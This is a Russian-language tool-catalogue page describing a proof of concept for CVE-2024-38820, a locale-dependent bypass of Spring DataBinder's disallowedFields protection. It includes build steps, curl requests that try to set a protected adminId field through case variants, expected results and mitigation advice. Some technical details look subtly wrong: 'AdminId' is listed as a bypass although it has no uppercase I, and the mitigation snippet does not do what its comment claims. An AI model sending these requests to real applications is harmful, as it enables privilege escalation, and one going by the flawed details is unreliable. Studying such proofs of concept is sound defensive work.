Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
POC-CVE-2024-38820 | Kitploit
Инструменты/GitHubGitHub/kadamnayan/poc-cve-2024-38820
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubkadamnayan/poc-cve-2024-38820

POC-CVE-2024-38820

Репозиторий
10 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-38820 Доказательство концепции

Обзор

Этот проект демонстрирует CVE-2024-38820 — уязвимость в DataBinder Spring Framework, которая позволяет обходить защиту disallowedFields из-за проблем преобразования регистра, зависящих от локали.

Сведения об уязвимости

  • Идентификатор CVE: CVE-2024-38820
  • Затронутый компонент: DataBinder Spring Framework
  • Корневая причина: поведение String.toLowerCase() зависит от локали
  • Воздействие: обход защиты полей, потенциальное повышение привилегий

Проблема

Исправление для CVE-2022-22968 сделало шаблоны disallowedFields нечувствительными к регистру с помощью String.toLowerCase(). Однако у этого метода есть исключения, зависящие от локали:

  • В турецкой локали: "ADMINID".toLowerCase() превращается в "adminıd" (с ı без точки)
  • В английской локали: "ADMINID".toLowerCase() превращается в "adminid"

Эта разница может позволить атакующим обойти защиту полей, используя определённые варианты регистра.

Структура проекта

root@kitploit:~
src/
├── main/java/com/example/demo/
│   ├── DemoApplication.java          # Spring Boot main class
│   ├── controller/UserController.java # Vulnerable controller with @InitBinder
│   └── model/UserInfo.java           # Model with protected adminId field
└── resources/application.properties   # Locale configuration

test-cve-2024-38820.sh                # Automated test script
pom.xml                               # Maven dependencies (Spring 5.3.39 - vulnerable)

Быстрый старт

1. Сборка и запуск

root@kitploit:~
# Build the project
mvn clean compile

# Run the application
mvn spring-boot:run

Приложение будет запущено на http://localhost:8081

2. Ручное тестирование

Посетите тестовую конечную точку, чтобы увидеть информацию о локали:

root@kitploit:~
http://localhost:8081/test

Попробуйте различные варианты имён полей:

root@kitploit:~
# Normal case (should be blocked)
curl "http://localhost:8081/user?username=test&adminId=999"

# Uppercase (may bypass)
curl "http://localhost:8081/user?username=test&ADMINID=999"

# Mixed case (may bypass)  
curl "http://localhost:8081/user?username=test&AdminId=999"

# Turkish İ character (may bypass)
curl "http://localhost:8081/user?username=test&ADMİNID=999"

3. Автоматическое тестирование

Запустите комплексный тестовый скрипт:

root@kitploit:~
./test-cve-2024-38820.sh

Ожидаемые результаты

С турецкой локалью (tr_TR)

  • ✅ adminId=999 → ЗАБЛОКИРОВАНО (обычный регистр)
  • 🚨 ADMINID=999 → ОБХОД (верхний регистр)
  • 🚨 AdminId=999 → ОБХОД (смешанный регистр)
  • 🚨 ADMİNID=999 → ОБХОД (турецкая İ)

С английской локалью (en_US)

  • ✅ adminId=999 → ЗАБЛОКИРОВАНО (обычный регистр)
  • ✅ ADMINID=999 → ЗАБЛОКИРОВАНО (защищено)
  • ✅ AdminId=999 → ЗАБЛОКИРОВАНО (защищено)

Конфигурация

Смена локали

Отредактируйте src/main/resources/application.properties:

root@kitploit:~
# Turkish locale (vulnerable)
spring.web.locale=tr_TR
server.servlet.locale=tr_TR

# English locale (protected)
# spring.web.locale=en_US
# server.servlet.locale=en_US

Установка локали JVM

Также можно установить локаль JVM по умолчанию:

root@kitploit:~
mvn spring-boot:run -Duser.language=tr -Duser.country=TR

Анализ уязвимости

Поток выполнения

  1. Обработка запроса: Spring получает HTTP-запрос с параметрами
  2. Настройка DataBinder: @InitBinder настраивает disallowedFields("adminId")
  3. Сопоставление полей: Spring использует сопоставление без учёта регистра с помощью toLowerCase()
  4. Проблема с локалью: в турецкой локали "ADMINID".toLowerCase() ≠ "adminid"
  5. Обход: защита полей не срабатывает, adminId устанавливается

Отладочный вывод

Приложение записывает подробную информацию:

root@kitploit:~
=== CVE-2024-38820 PoC - Locale Information ===
JVM Default Locale: tr_TR
Test field 'ADMINID' toLowerCase(): 'adminıd'
Test field 'ADMINID' toLowerCase(Locale.ENGLISH): 'adminid'
DataBinder configured with disallowed field: 'adminId'

Затронутые версии

  • Spring Framework: 5.3.x (до 5.3.40), 6.0.x (до 6.0.24), 6.1.x (до 6.1.13)
  • Spring Boot: версии 2.x и 3.x, использующие затронутые версии Spring Framework

Меры по смягчению

1. Обновите Spring Framework

  • Spring Framework 5.3.40+
  • Spring Framework 6.0.24+
  • Spring Framework 6.1.13+

2. Явное указание локали

Используйте сопоставление полей с учётом локали:

root@kitploit:~
@InitBinder
public void initBinder(WebDataBinder dataBinder) {
    // Use English locale explicitly
    dataBinder.setDisallowedFields("adminId");
    // Additional protection: check field names with specific locale
}

3. Собственная проверка полей

Реализуйте собственную проверку полей, не полагающуюся на операции, зависящие от локали.

Ссылки

  • CVE-2024-38820 - NVD
  • Рекомендации по безопасности Spring Framework
  • Связанный CVE-2022-22968

Правовое уведомление

Это доказательство концепции предназначено только для образовательных целей и исследований в области безопасности. Используйте ответственно и только на системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение.

Скачать инструмент